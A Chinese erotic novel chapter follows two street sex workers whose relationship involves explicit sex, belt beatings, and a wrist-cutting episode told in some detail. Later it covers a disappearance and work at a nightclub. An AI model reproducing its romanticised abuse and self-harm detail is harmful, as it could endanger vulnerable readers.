图片载入中

男盗女娼性·奇情· 一

特大字】 【大字】 【中字】 【小字

张续坐在镜子前面绞头发。

她的头发从耳根开始卷,一直垂到腰际。她操着剪子一统乱剪,把所有带卷卷的都弄在地上,地上一个一个圆形的圈。剩下来乱七八糟的短短直发,像个鸟窝。

我再也看不下去,过去夺过剪刀,帮她修理。勉强学着理发店英俊店员的手势,一缕一缕地削,弄出说不出来像与不像的层次,终于看上去好了一点点。

“妈的。”短发的张续看起来陌生,而有吸引力。“男人都是猪。”

我拿着剪刀,坐下去她的大腿上,和她接吻。吻完,附和她一句,“对,都是猪。”

满身碎头发的张续抱着我洗澡。水流在胸口,让乳头坚挺。

张续摸摸我,然后用涂满肥皂的手滑向我的下阴。我微微张开嘴唇地笑,抬头伸长脖子,像一只想飞的天鹅。然后张续在我脖子上啃了一口。

我抓住她丰满的乳房,贴在我的乳房上面。

女人和女人。一样的身体,多么诱人。能够抓着别人的乳房做爱,多么美好。

卧室里,张续拿出器具狠狠地捅进我的身体。

我还没做好准备,不够湿润。器具的巨大带来一阵涩痛。我像小鹿一样瑟缩起来。然后张续俯下身子深吻我,开始把弄我的敏感部位,然后慢慢开始操控这器具。

“张续。”我眼睛迷蒙。“我不喜欢插入。……我只喜欢你抱着我,摸我,亲我。我不喜欢插入。”

“但是我喜欢。”

我的身体不理我喜欢与否,开始回应那抽动。慢慢地,那动作带着水声。

“这和男人玩弄我们,又有什么不同?”我问。睁大了眼睛,假装出无辜的样子,心中流转着快乐和不解。

“当然不同。男人不是我。雅纳,现在玩弄你的,是我。这就是最大的不同。”

张续强迫我分开了腿,让东西进去得更深。我非常地不舒服。肚子胀胀的,浑身没有力气。

“张续,你在做生意的时候,都想些什么呢?你在被那些男人插的时候,会想起我吗?”我喃喃地问。

我总是在赚钱的时候忍受,一昧忍受,闭着眼睛,想象那些肮脏的身体,是张续。我爱的女人张续。

“我么……我只是常常想,总有一天,会换成我征服他们。会是我张续,征服那些臭猪。换我插入他们。征服他们。让他们像个洞,待在那里,什么也不能做。”

“而你就变成一根自由的鸡巴。”我笑着,痉挛了身体。

多半是因为张续揉捏我下阴的手,而不是那跟器具。

器具跟男人,我都不喜欢。

但是我爱张续。

看见她,我的阴道就会收缩。被她吻的时候,我会感到迷醉。

男人都是猪。

我爱张续。

但是,第二天,张续做了猪做的事情。

她揍了我。

如果认真打架,我不知道我会赢,还是会输。但是张续打我的时候,我完全没有能力反抗。就好像十六岁的时候被继母用皮带抽打,我完全没有意识到其实我可以反抗。我只是选择了,和她的姘夫,上床。

总是这样。我总是用些消极的方法来抵抗。用些伤人伤己的手段来报复。把明明可以正常进行下去的事情弄得一团糟。

比如,捱完张续那顿打的夜里,我割了手腕。

她打我的起因是,我拒绝了跟她做爱。器具实在弄得我不舒服。然后她强烈要求查看我的下体,看完之后上来就是一耳光。

“你干嘛?”

“我告诉过你,出去做生意的时候,必须戴套!”

“什么意思?”

“你发炎了。染上病了。为什么不要求客人戴套?为了多赚那点钱?——贱人。”她又打了我一巴掌。

然后把我拎去了医院。

检查结果是,宫颈糜烂加宫颈炎。

也没人告诉我为什么会得,只是很冷漠地开药,叫我付钱。检查前医生照例问我有没有结婚,我直接告诉她我不是处女,于是那个老女人的手指伸进了我的阴道。

然后又从后面伸进来,弄得我生疼。我叫了一声,她抛来斥责的眼神。

普通的妇科三合诊而已。我却有一种又接了一客的错觉。

张续付了钱。

简单的消炎药而已,要了她三百多块,几乎抵得上一晚上的收入。

回到家里她就开始动拳脚。

当时我很迷茫。我记得我没有不戴套的客人。但是又记不清楚。也许有呢?有天晚上我喝醉了。还有一天我连出了四分外卖。每次都低头撅臀地站在某个奇怪的柜子前面,撩起超短裙,然后一直等到自己腰酸背痛以后,就能收进两三张花花绿绿的票子。

张续用皮带抽我。

我抱着头。

呜呜地逃,逃到墙角蹲下来,一下一下地捱着。

她打累了,去洗脸。我赶紧躲进小间,把门反锁。

然后她在门外跟我说,如果我不开门的话,她就走,不会再回来,也不会再管我。

我赶紧开门,脱了裙子把手撑在床上,撅起屁股让她打。

跟出外卖的感觉很像。

她一皮带一皮带抽下来。我抽抽搭搭地哭。

终于到她手酸得抬不起来,才停止了这场暴行。她勒令我在家待着,她出去做生意,然后买东西回来给我吃。

其实皮带离开身体之后就已经不疼了。我很想也出去上班,但是看看镜子里面一条青一条紫的自己,放弃了这个念头。

然后我坐在电脑前面上网的时候,才发现屁股痛得坐不下来。

站在那里上网。我想搜一搜关于我的炎症。

然后我忽然明白过来。

宫颈的问题,不是我的客人戴不戴套子可以解决的。

是张续,她买二十厘米的器具,每次进得都太深。太深,就碰到了宫颈,带入细菌,导致发炎。

是她的问题,她还打我。

她跟那些使用我们身体然后付我们钱的男人,究竟有何分别?

我抿着嘴角哭。

然后就冲到厨房,拿水果刀割了手腕。

割脉并没有我想象中那么简单。在左手上划了好几次,都只是血痕而已。然后换刀到左手,划右手。一狠心,深深割下去,也不知道究竟割到了什么。这次皮肉翻绽了开来。血往外流。终于有点割脉的样子了。可是不疼,一点也不疼。

这个时候电话响。

张续可能有点后悔这样对我。她说她做了一份不错的外卖,今天晚上不用继续上班,叫我到楼下一起吃夜宵。

声音温柔的张续。

我匆匆忙忙跑下去。

我爱的张续,顶着一头乱糟糟的短发,看起来性感又美丽。

她牵着我的手向着小馆子走。路灯一闪一闪地跳。我忽然觉得安心。

“雅纳,你洗了手?怎么那么湿?”她随口问。

我含煳地嗯了一声。

再走出几步。

她忽然意识过来,抓起我的手来看。

明灭的路灯下面,血流蜿蜒下来。我傻傻地笑着。

“申雅纳。”

挣扎着死也不去医院差点跟张续打起来,然后被拖出一百米扔到到出租车上,再然后看着张续跟司机为了我手上的血弄脏了座椅怎么办而吵一大架,我已经没力气再作怪。

张续凑在我耳朵边上叫我名字。“申雅纳,坚强点。”

一天之内第二次来这家医院。

麻醉针真的是用来给人减轻痛苦的吗?

——明明就是制造痛苦吧。

针头打进来的时候,我嗷地一声,抱紧了张续,泪水簌簌而落。

我很怕痛啊!

然后就看着针穿过来穿过去。

倒是真的不痛了。

却很清楚地感觉到针穿过皮肤的触觉,很奇妙。

凉凉的,牵动我的皮肤和血管。

血管很丑,像条毛毛虫。“张续……会不会留疤?留疤了怎么办?张续,给我买块表好不好?……”

张续紧紧抱着我,说不会的,没关系,好。

“好。张续,你欠我一块表。”我嘿嘿笑。

身上的血擦在她的身上。

我的麂皮短裙。她的条纹短裙。

随时随地,撩起来就能让人上的短裙。用来赚钱的短裙,我们的制服。

“一个星期之内不要沾水。”男医生照章宣科,然后瞟一眼我腿上露出来的皮带印子。

我忽然在想,要是现在去接那些变态的SM客人的话,一定会很受欢迎。这样的伤痕就算在普通人的眼里,也是香艳性感的吧?

张续……张续。

我忽然开始了解那些受虐狂的心态。

张续,要是能让你永远这样紧紧抱着我,我愿意永生永世带着遍体鳞伤,同你做爱。

插入我。

但是也请施舍给我我要的拥抱。在一起,不分开的那种暗示。假装信以为真,或者真的能够很久很久地待下去。

久到没有男人会再来光临我们。张续拿着器具插着申雅纳。申雅纳用服从让张续心满意足。

我养伤的那几天里面,张续压力很大。她一个人工作,然后要应付医药费用,还有这周要交的三个月房租。

还要给我买猪肝补血。

于是她终于也一个晚上做四分外卖。

她身材比我好。张续,性感而出色的街女,胸有36C,腰细腿长,逼紧活好。

申雅纳就是一个34B,个子不高,脸盘清秀的平凡街女而已。

三年以前这两个人相识在一个共同客人的饭局里。

我上次问张续,这个客人现在如何?张续说,要么升官了,要么死翘翘了。那人是个警察头头,天天跟本地的夜总会、高利贷公司甚至帮派的头头吃饭喝酒。张续后来跟我说,这家伙差点准备包她,但是被她拒绝了——张续当时说,“要是个阳痿就算了,大不了老娘自行解决。可丫是个早泄,每次一百下,每下一秒钟。你说叫人怎么活?”

被人批发的梦想仍然只是梦想,我们的主要生涯还是零售。在我们租的房间,或者出外卖,或者遇到好的主顾,请吃请喝酒店开房,还能捞一顿自助早餐。

但这种待遇不常有。那种客人一般青睐大学生。我们两个,都是笨孩子坏孩子。她从小学高年纪开始逃课说谎抽烟喝酒,我从中学一年级开始陷入被体罚的噩梦。大学对我们来说,是太过遥远的梦想。张续不是没想过去弄张假的学生证试试,可惜最终还是在某天夜里路过某高校女生寝室后门的时候放弃了念头。

“她们的确气质好。”张续也会羡慕人。“纤细清瘦,穿及膝褶裙,衬衫毛衣。”

“记得有个客人也叫我穿校服出场过。”我煳里煳涂地回想。“好像是那次在波特曼……要么就是海神诺富特。”

张续瞪我一眼。两个地方相隔遥远,名字里不过都有一个“特”字而已,这也能混淆?

我就是混淆了。记不清楚。哪个酒店都差不多。那些我看不太懂的英文指示牌。刺骨的冷气。穿套装化妆精致开口就三国语言的服务小姐。

我每次都很注意标价牌。每次都在想,要是能把房费折现给我,该多好。结果客人小气,一夜欢资,不过是房费的七八成,还累我化了百多块买了套校服。

所以还是外卖好。

甚至包夜都不如外卖。那天那个猥琐男人把精液射在了张续的头发上。所以她恨起来绞了那些卷卷。她短发也很美,衬托得五官洋气硬朗,可惜客人不吃这一套,这几日阻街生意渐差。

“雅纳,要不我还是找个夜总会上班算了。”

“……其实去掉夜总会扣的分成,相差真的不多,而且被人管着很难受。以前我们不是打算过么?所以才出来自己做。”

“夜总会可以预支薪水。”

“怎么,”我惊。“凑不齐房租?”

“你说呢?申雅纳小姐。”她咬着红唇看着我。“你上医院一共花了我两千七。加上我买了件貂两千二,你买了一套SISLEY两千九。这三笔就是八千了!”

“嗯……”

“以后没事,不要折腾自己玩了,OK?你玩得起,我们的预算玩不起!”

“可是,你这么热的天买貂……这笔难道不是额外支出啊。”

“就是热天买才便宜,到了冬天,没有五六千怎么拿得下来?”

“那你没事不要打我玩,不是也没事了吗!”

“怎么了?”张续格格笑,捏紧我喉咙。“不爽?想造反?”

她压倒我,开始侵略。

我有点感动。

一个礼拜里面,我手不能沾水,她全包家务。还因为下身的炎症,她一直没有碰我。今天忍不住动手,也是用的手指,不是那该死的器具。

一顿打,四针,换来这么一个结果,我觉得幸运。

“张续……不用去夜总会。我还有以前存的八百块美元,去换了够房租了。”

“……美元是你爸爸留给你的,那么一点点,你还是好好收着吧。乖,听话,不然打你屁股!”

我噘嘴。

欺到她身上,用力拍她弹性十足的臀。

“明明打你的手感比较好……”我笑着躲进了毯子。

我去取那八百块美元的时候,输错了很多次密码。时日久远,我实在想不太起来。

幸好运气好,为我服务的是个年轻男孩,不厌其烦地帮我试一串又一串数字。

“小姐,你再想一想……会不会是你亲近的人的生日之类的数字?”

我支着脑袋想。

最亲近的人的生日,张续的生日。那是我其他所有卡的密码。包括我的电子邮箱,我的MSN,我的一切需要密码的地方。

但是这张存折办的时候,我还不认识张续。记得是爸爸带我去的银行,教我怎么填单子,怎么领号排队,怎么设置密码。

密码……是爸爸跟我讲,然后我设的。

是什么呢?

我下意识地按了自己的生日。

“这次没问题了。”年轻的男孩子露出笑容。“八百六十七块五毛。全部取出来吗?”

我的生日……爸爸说,用女儿的生日吧,永远不会忘记。

“取八百五十块。”我甩了甩头发,把那个死鬼老爸从记忆里赶走。

那个只知道自己死,却不知道女儿要怎么维生的自私的老爸。

还有那生了我出来,却不活下来保护我照顾我,让我被另外一个女人欺负了十六年的自私老妈。

现在他们可能在天堂XXOO……留我一个人。

还好有张续。

我的嘴角勾了起来。

给她买那条MORGAN的裙子吧。现在六折,钱应该够了。

她披那条黑貂披肩,配轻纱裙子,一定靓绝。

买了裙子,回到家。

张续不在。

我好奇地看见冰箱贴下面难得地压着留言条。这年头,还有什么事情不能通过手机联络?

留言条上写,“你别取那八百块啊!我已经把房租交了。我在金碧辉煌俱乐部,很远的,不用来找我。没事你自己上街转转揽些口活,下面没好之前不要出外卖。”

我靠!

找家夜总会上班也就算了,至于横穿半个城市跑到那么远的夜总会去吗?不过我也知道,那家金碧辉煌年内新开幕,据说业内待遇最佳,抽成最少,后面又有实力人物撑腰,安全牢靠。

可是搭上上班下班近三个小时的路程哎!

难道要换房子?哪里再去找现在这么价廉物美的好房子啊……死张续。

坐了一个小时二十分钟的车,我终于到了金碧辉煌。

手上才拆线,虫子爬一样丑陋,暂时戴了一个护腕遮掩。身上的伤痕早好了,两三天即退,人的恢复能力可算无穷。

我才不会让张续一个人上班。我不认为她应该独力支付我们两个人的生活成本。以我的经验和条件,金碧辉煌应该也不会不要我……不过据说这里竞争激烈,不少鬼妹、日妹、韩妹都在这里坐台,还有小明星客串。万一没人点,我会很自卑……

现在这个时间已经不太适合见工。我买了张门券走进去,权充一下消费者上帝。门券不贵,还送饮料,夜总会赚钱的方式并不在此。

进去以后还是吓了一跳。这地方简直像个商场,各色各样风格氛围的消遣场所各占一方,安静的茶室,喧闹的卡拉OK,拥挤的酒吧,淫乱的包房。指示牌上标明,在弯曲隐蔽的角落,还隐藏了三个不同的舞台表演区域,真人三十六式,钢管热舞,和人妖男欢表演。每逢周六还有所谓的神秘主题表演,我估计就是些SM,或是美少女互舔之类的玩意。记得以前我跟张续讨论过这个问题:卖,或者拍A片作表演,选择一样的话,选哪样?

我选卖,理由是不喜欢被那么多人看。

张续也选卖,理由却是不喜欢规定POSE规定剧情的性爱。

她喜欢把手脚放在她自己喜欢的地方。

比如……我的阴道里。

晃了一圈,我终于发现,要找到张续具体在哪里上班是件不可能的任务。

在酒吧坐了下来。

一个英俊的男孩子向我靠过来。

“小姐,不开心?”他用纤长的手指轻轻敲我面前的玻璃杯。

我苦笑。我也是卖的,我没可能买他,估计也买不起他。这个行业里男人比女人辛苦,也比女人昂贵很多。

“我是来找工作的。”我实话实说。

“哦……”他的眼光从我上半身比较正常的衬衣晃到了下半身的超短迷你裙上。

迷你裙里面是职业习惯的TBACK,还是可以分开的那种,不用脱就可以直接被上。

男孩子忽然凑到我的耳边。我一惊。我当然不抗拒男人,我每天都在跟男人厮混赚钱。但是我不跟男人做朋友。

男人都是猪。

……也许,男妓稍微可爱一点点?

“帮个忙好吗?”男孩子很可怜兮兮地哀求。“带我出场。我会帮你推荐工作……拜托你带我出场。钱我会自己付。”

我被完全地迷惑了。

男孩子换了个姿势,暧昧地贴在我身体侧面。“我不舒服,不想跟男人走。但是故意不接客这边不允许的。所以,拜托啦!”

啊……我吐了吐舌头。

原来他做的是更辛苦的那种男妓。

“好。对了,我想问下你,我有个朋友叫张续,今天刚来你们这里上班,你认识她吗?知不知道在哪里?”

“我们一共有一千一百多名员工哎……哪能都认识。”男孩很委屈地看着我。

“我随便问问而已。”这家伙看起来年纪好像比我小,我忍不住给他一个温暖的笑容。“好啦,走吧。”

看了看周围。一个胖子正盯着我们。认真说来,是盯着他。

于是我从皮包里拿出几张钞票,想了想,塞在了他高出牛仔裤的内裤裤边里。

仿佛听到那胖子忿忿地哼了一声,走开了。

“你叫什么名字?”

“张榕。”

哦,跟张续一个姓氏……我开心地抓着张榕的手,跑出了酒吧。“接下来怎么办?你们这里有房间,我们假装上去开房间么?”

“当然不去这里。同样这点钱,可以去波特曼开一晚上了!干嘛被他们白赚?我请你吃夜宵去。”男孩抓着我出门,跳上了等待已久的出租车。

“去猫街,啦啦!”张榕对着出租车司机唱歌。

我还没回过神来,出租车一个急转弯,再转,再转,上了一座桥,再下来——急停。

到了。

我看表,“喂,才三分钟的路程而已……干嘛不走路?”

“难走。”张榕把我拖下来。

我吓了一跳。好……好亲民的一条街。

金碧辉煌那条路,是全市有名的餐饮娱乐黄金街,四家大型夜总会,十来家豪华酒楼,再加上路口的高级酒店和商场,构成了一片名车美人,霓虹夜影的奢靡交际之地。

没想到相隔三分钟车程的地方,竟然还有一条这样的路。

满眼都是地摊,地摊,地摊的海洋。有卖银饰的,卖廉价皮鞋的,卖盗版光碟的,卖卡通人偶的,甚至卖小猫小狗小鼠的。间杂的一些小铺位卖奶茶,冰淇淋,或者鱼丸肉串之类的小食。“你是要请我吃这个吗?”我傻傻地问。

“当然不是。”张榕欢快地蹦进了一条小弄堂,然后回头看我没跟上来,像条鱼一样折回来。“跟着我哦,小心钱包手机。”

小弄堂里是个电子游艺室,黄毛红毛的孩子们打格斗游戏发出霍霍的声音,让我一下子回到我的童年。不至于吧,多少岁月过去了,我从140公分长到164公分,可是游戏室一点也没有变化。叮叮当当的游戏币敲在闪烁的彩灯里面,连那些手势都是我熟悉的A和B。

“喂,看什么哪?这里走!”张榕用力把我向另一个方向拖。“对了,你叫什么名字呀?”

“ANA。”

我出街时候的名字。这个发音,大部分人会记成安娜。我自己把它理解回“雅纳”。

从电子游戏室旁边的楼梯上去,世界陡然安静下来。

活泼的,亲民的,廉价的,仿佛是一场梦境已经过去。

低低的窗户垂着紫色的窗帘。幽幽暗暗的灯,斑斑驳驳的桌子。桌子上的菜单很古老,用钢笔手写。坐下来翻,我吃了一惊,好便宜!

我第一次见到装潢如高级餐厅样清雅,价格比路边摊稍微不足的店铺。

“一块五一杯咖啡……”我困难地吞咽口水,“真的能喝吗?”

“能啊,速溶咖啡,一盒一盒买的话,平均每包才几毛钱。”张榕笑嘻嘻地点了咖啡,土豆色拉,炸猪排和罗宋汤。“这里的价格,已经三十年没有变化过。知道为什么吗?”

当然不知道。三十年前人们每月开销不过是现代女子一枝眉笔的价钱。

“因为这家店的老板,他从前开咖啡店,后来做生意发了家,现在退休了仍然回来打理咖啡店。他的身家最多的时候有十几亿,所以舍得每年赔几十万在咖啡店上,就当是……一个游戏吧。”

“你认识老板?”我好奇地闻了闻端上来的咖啡。

一点也不像速溶的样子。貌似是烧煮出来的。

“我以前的客人。现在他信了耶稣,不光顾了,却号称把我当朋友。”张榕用手撕炸猪排的肉,香气四溢。“条件是我不能带太多人过来这里……以免亏损得叫他吃不消。嘿嘿,我才不理他呢,就是要带人来啊!”他哗地拨开窗帘。“这里多好。我小时候就长在这里。”

我们一起俯身往下看。摊贩上的货物诱人之极。被整个城市的霓虹映照至湿漉漉的地面上,几个女孩子试戴耳环的笑声恍如天籁。干净的空气里有油炸食物的味道,奶油的味道,还有皮革的味道,种种烟火气味,很难把握,却妥帖地包围起我。

“我家楼下也是这种味道……不过没这里热闹。啊,下次要叫张续一起来!”我忍不住微笑。

张榕神秘兮兮凑过来,“要喝啤酒吗?先来一打好不好?”

我又吓了一跳。“咖啡店还卖酒?”

“这里以前很荒凉,有很多野猫聚集。”喝得半醉的时候,我记得张榕告诉我这条街的来历。“后来前面黄金街红火了,连带着这里也热闹了起来。黄金街为有钱人服务,这里为那些为有钱人服务的人服务。”张榕说话很绕。我却听懂。

“后来那些猫呢?”我问。

“猫?”

“对啊,原来聚集的野猫,去了哪里?”

“去了别的荒凉的地方。城市到达不了的地方。再怎么样,荒地废墟,总是存在的。”

“好可怜。”我喃喃地说。一直很喜欢猫,也想要养。可是张续不喜欢。她害怕毛茸茸的东西。

“不可怜的。”张榕酒量不比我差,果然都是场面上的人,都颇有职业素养。“那时候我家收养了两只,一只瞎,一只跛,现在连它们的孙子孙女都出世了。……对了,你要不要?可以送你两只,才三个月的小猫,很健康的,还很漂亮。”

啊……我眼睛里的火开始燃烧。

小小的……漂亮的……猫。猫爪子挠啊挠。好痒。

可是张续不喜欢……

“没关系啦。”张榕安慰我。“先考虑一下好了,反正以后是同事,想要随时来找我。对了,有一只是全身白的,有一撮黄毛,你肯定会喜欢的。还有一只很滑稽,上半身是黑的,下半身是白的,特别夸张,哈哈哈……”

我撑着头看着他。

这男人一半带着小孩的味道,一半带着成人的味道,很开朗,很活泼。

原来男人也有这么不令人讨厌的。

比学校里那些往我脖子里扔毛毛虫的男孩子可爱。也比现在那些往我腿中间塞鸡巴的男人可爱。

恩,决定了,我要介绍张续和他认识。

或者,还可以拜托他问问附近的房子。

“不行啦,再喝我就要醉了……没法坐公车回家。”还剩了两瓶酒,我为难地看看张榕。

“我这里有客人给的出租车券。”张榕得意地扬一扬皮夹。“后天过期。”

我一把抢过来。

服务生推醒我。

我半梦半醒。“怎么了?”

记忆隐约回来……一打之后又叫了一打……真荒唐。我用力揉太阳穴,看见对面的座位没有人。

“小姐,我们快要开门做生意了,你换个地方睡,让我收拾一下桌子好不好?”

我茫然地看着服务生。

然后忽然反应过来。

拉开窗帘,早晨的光线照进来。我啊地尖叫了一声。“几点钟?”

“八点四十。”

还好……张续应该还没回家。我试着拨了一下她的电话。恩,很好,是关机。无论街女还是小姐,做生意的时候都不会开电话。我心急火燎地冲出去,不停计算出租车的路线,以及万一被撞正的话,是要说出去做事接客了呢,还是说去金碧辉煌找她结果跟个小男孩喝了一宿酒?

要命。坐在出租车上看数字不停跳。我翻遍手提包也不知道张榕声称的出租车券到底被我放在了哪里。或者,他根本没给我?这家伙。除了名字以外,我没有他的任何联系方式,就算有,也不可能电话去追讨醉时的一张车券。只好任心滴血一样,看着车轮一点一点在路上爬。好不容易爬到了楼下,拿出一张大钞,咬牙切齿看着司机,司机有点害怕地找给我几张零钱。那么少……真是欲哭无泪。看表,九点十五。开车门,下车,冲进大楼,看见电梯停在那里,赶紧跳上去。老式电梯摇摇欲坠的,嘎拉嘎拉关上门。

哦,SHIT。

伸手到口袋拿钥匙,结果拿出来整整一本出租车券。

但是钥匙却不在。

如果没有记错的话,应该是在……床头柜上。

我猛敲自己脑袋。

然后去敲邻居家门。

穿着高跟鞋和超短裙,在十八楼爬阳台的伟大壮举,不知道有没有被出入的人群惊诧。

反正我抖到不行,蹲在那里不敢往下看。好心的邻居扶着我,鼓励我,“站起来,跳一下就过去了。”

下面看上来,应该会因为过于遥远而看不清楚我的下体吧……我胡思乱想,头皮发胀。如果是平地,这点距离不过是半个踉跄,但是在这个高度上,怎么就好像脚里面灌了铅水一样呢?

“快点啊!”邻居有点不耐烦了。

我慢慢慢慢站了起来。

风好大!

好怕!

我立刻想再蹲下来。

结果邻居居然在我屁股上捏了一把。“好香艳……快跨过去,不然全被我看光了哦!”

啊……讨厌!

不收钱就被调戏,张续会生气!

一怒之下我向前一冲,终于平安落在了自己家里。

对面邻居嘿嘿笑,打了个呵欠。“没事了,那我去洗头了。”她甩甩长发。

“贱人。”我喘着气骂。

她也不生气。“彼此彼此。”

邻居叫吴恩宝,一般都叫她宝宝。

她算是我们的同行,不过性质稍有不同。她是专业陪伴,经常陪人游玩附近山水然后到处开房做爱,副业则是在网络上品评各地星级酒店好劣,洋洋洒洒地混了个某旅游网站的高级评论员出来,每个月能收到一本期刊,然后年终有T恤洗发水等小礼品若干。这个工作集导游和小姐于一身,颇有些难度,好处则是没有生意的时候可以彻底在家休息。

我和宝宝认识了有十七年了。她是我小学同学里面唯一一个跟我从事同一行业的。对面的房子也是我介绍她搬进来的。

张续一般不喜欢我的朋友们,只有宝宝除外。张续讨厌男人。同样张续也讨厌女人。她害怕我被那种很有男人味的,短发平胸的女人追走。她也害怕我被那些很精明,很俏丽的女人欺负。只有宝宝让人放心——“她跟你一样,都是煳里煳涂,乱七八糟的。”这是张续的评价。“不过她不会算计你,也不会害你。”这句是后来的补充。张续看人很准,跟宝宝认识十七年,她的确连一块橡皮也没有抢过我的,反而被我抢过两支好看的香水圆珠笔。

冲进房间,我也洗头,然后洗澡。

一身的啤酒气味。

猫街……嘻嘻。忍不住就想起来那种亲切的空气里的味道,和路面上假装湿漉漉的光泽。我在想,要不今天就和张续一起去那里逛逛吧?叫她穿上那条MORGAN裙,推荐她喝那家店的咖啡和罗宋汤。她一定会高兴,会喜欢。

哦,之前要先说服她让我一起去见工。

不对……再之前要先联系房东,交房租。

再再之前,我一面擦头发,一面犯困。就先……先睡一会吧。

虽然张续说头发没干就睡觉的话,老了以后会得偏头痛。可是吹风机坏掉已经三个月,我还是没想起来去修理……这又有什么办法?

扑上可爱的床。床单和被子枕头上都是熟悉的气味,让我能够很快入睡的体味的混合。张续的体味,和我的体味。我趴在那气味里,沉沉睡了过去。

这次醒来,是下午四点。

很饿。

张续没回来。也没来电话。

手机……仍然是关机。

我愣愣地坐在床上。心里面有点慌。

(2)

张续失踪了。

自从那天以后,她的手机号码就再也没有开过机。

我每个月去继续交她的手机费,每个月都是干干净净的50块钱的月租费,除此之外,再也没有其他。

我去了金碧辉煌,他们告诉我从未有过一个叫做张续的女人来上班过。在我的哭声下,他们甚至拿出员工的照相册给我看,以证明他们绝无拐卖人口之嫌疑。

但是一个第一天上班的新员工又怎么会留下照片呢?

一个人要消失,竟然可以消失得那么容易。我去了交通局,然后是警察局。警察很暧昧地看我,我陪着媚笑,用胸脯去蹭他们的手臂。然后,没有,还是没有。

我不是张续的谁,只是一个室友。我甚至没有资格报案。谁知道她是不是忽然厌倦了,背上包去了另外一个地方生活呢?原来通过一间房子和一个手机维系的关系是如此不牢靠。

一个月以后,我身心俱疲的时候,有一天晚上出了事。

忘记关门的我,引来了小偷。

小偷偷走了我的手机,照相机,一根值钱的项链,两条不值钱的手镯,还有唯一一张存折,里面有缴纳了房租以后剩下的,我的最后一点点钱。

我没有报案。

报案还有什么意思呢?

吴恩宝从隔壁探头进来,看见我坐在床上哭。

她进来东看看,西看看,然后摇晃我。“还有钱吃饭吗?这样吧,把烤箱和DVD机卖了吧。”

宝宝是好人。她帮我找到买家,然后自己用原价买下来我的一套只用过一次的昂贵护肤品。

我坐在我那个家徒四壁的家,看着那个家徒四壁的四壁。空荡荡的墙壁有一点点的回声。我们有一间温暖的卧室,一个漂亮的厅,一间宽敞的厨房,一个有浴缸的卫生间,还有一个能看到公园的阳台。我们的地方。现在剩下我一个人。

怎么会这样呢?

黑貂披肩在柜子里。MORGAN的裙子新的,还永远地塞在我包里。我预备着每一次可能的张续的回归,然后把礼物从包里拿出来给她惊喜,让她欢愉。

安全套在抽屉里。她的充电器也在抽屉里。那跟假阳具也在抽屉里。

被子上的味道浓得一点也不像是不见了一个主人。

我整天神情恍惚,直到开始习惯。

然后我又去了金碧辉煌。这次我得到一份工作。

我不会跳舞。我唱歌唱得不错,所以在KTV包房里面工作。有些时候我不用出卖我的阴道,只需要帮人吹箫或者打手枪就能拿到一点小费,但是要先交给金碧辉煌,再由他们返回一部分给我。张续是对的,的确不自由。我不能像阻街时候那样稍微挑选一下客人,也不能对客人不好。他们有时候要求我用阴道或者肛门夹住香烟,然后点燃,关灯,让我在房间里面来回走动。等香烟拿出来,他们争相抢那支带了我体味的香烟抽,娱乐兴致浓厚。以前出外卖的时候大家从来不这么做,根本没人摸我的乳房,也没有亲我的嘴,只是趴下,然后插入。包夜的时候略强,总算有肢体接触,但我没有遇见过几个以为我口交为乐趣的客人——现在的卡拉OK里,他们用猜拳胜负来决定谁拥有给我口交的权力。

我无所谓。有些女人一辈子都不能接受为男人口交。有些女人不能接受男人为自己口交。下意识里,生殖器与羞耻挂钩。而我没有这种概念,我是个什么都会的街女。我只要被插进来,抽动一会,身体就会自动湿润,身体在自己保护她自己,无须我过于操心。至于什么冰火九重天之类,我也能运用纯熟。我是一个受欢迎的K房小姐。客人带我出场的比率相当高。我每个月的收入比过去上升了大概40%,好处其实还不止,听说公司正准备为我们这些员工缴纳社会保险——我的正式头衔叫做公关经理。

真是金碧辉煌的时代。

房东再一次催我交房租的时候,我恍然发现,我过没有张续的生活,已经三个月整。

那天晚上我又遇见了张榕。

在同一个娱乐场所里工作的我们,过了三个月,才又相见。

我忽然觉得,总有一天,我和张续,也会在某个地方遇到。

那天在洗手间的偶遇毫无惊喜浪漫可言,只是仿佛遇见了很久的朋友,赶紧抄下来手机号码。

然后下一个休息日,张榕送了两只猫过来。

“白的叫公主,半黑半白的叫影子。”张榕笑嘻嘻地站在阳光下,俊得可爱。“你也可以叫它们‘主主’和‘子子’。”

我被那可爱的发音逗得笑了起来。“那天早上你怎么走掉了?”

“其实我半夜就走掉了,屁股疼,回家睡觉了。那几天犯痔疮,却还要接客,好可怜的。”

“哎……你酒量真的比我好。”

“我有托那边的人照顾你。第二天早上起来,忽然想起来没有你的联系方式,赶紧跑回店里去,结果两手空空。”

公主跳到了我的手上。

“三个月,都快长成大猫了。”张榕把猫屋搭在了我家的阳台上。“会养吗?”

我诚实地,“不会。”

“要买猫砂,猫粮。下次我把家里的猫玩具带过来,就不必买了。记得,猫粮分好几种,买小猫吃的那种……”

“你家在哪里?”我忽然问。

张榕带我去了他家。

猫街的边上,舒服的一间房间,古老的楼梯。

楼梯间里躺着几只猫。还有一些到处流窜。我在阴暗的日光照射进来在地上留下镂空的花影的时候,吻了他。

我抱了张榕。

不知道为什么,可能只是不想回家。休息日还不如平常,不能在包间里被客人游戏的我,像一件失去主人的物,不知道何去何从。

我很贱。其实我的眼睛里面根本没有猫。我和张榕第二次见面,一个男妓和一个妓女,上床,也是正常的事情。他比我的大部分客人漂亮可爱得多。我比他的大部分客人美丽性感得多。“你的胸一点也不像背米的空麻袋……”

“那像什么?”

“像小西瓜。”

我们彼此使用技巧在对方身上。两个人气喘吁吁之间,一半是炫技,一半是兴奋。情爱从身体表面流过,我们逐渐变得容光焕发,皮肤晶莹剔透。

我高潮的时候,射出了阴精。

他一震。

控制不住,也射了,然后脸色如死灰。

我们没有戴安全套。

“我应该没有生病。”他可怜兮兮地望我。“你也没有吧?”

“我没有。”

但是我忽略了一个很大的问题,很重要,重要到我的街女K姐生涯中,好运到了从来没有遇见过这个常见的问题。

我怀孕了。

怀着孕被客人瞎捅,没有呕吐反应,却脾气暴躁如火。

“ANA,我要用你后面那个洞。”客人一副理所当然的口气,拔出来那根细火柴棒就往上抠。

“老娘不卖屁股。”我忽然无名火起,啪地转身,面对面看着他。

他立刻软得像条鼻涕虫。“干嘛,你造反啊?”

我讨厌这句话。

就算是张续说,我也不喜欢,何况是这猥琐男人。“不卖就是不卖,我从来不卖屁股,你想要的话,我给你推荐位功夫很好的先生,保准你喜欢。”

“你神经病啊?老子又不是同性恋!脏死了,恶心死了,谁要操男人啊?”

“那你要不要男人操你?我也可以帮你介绍位功夫很好的先生……”

话没说完,脸上挨了一巴掌。

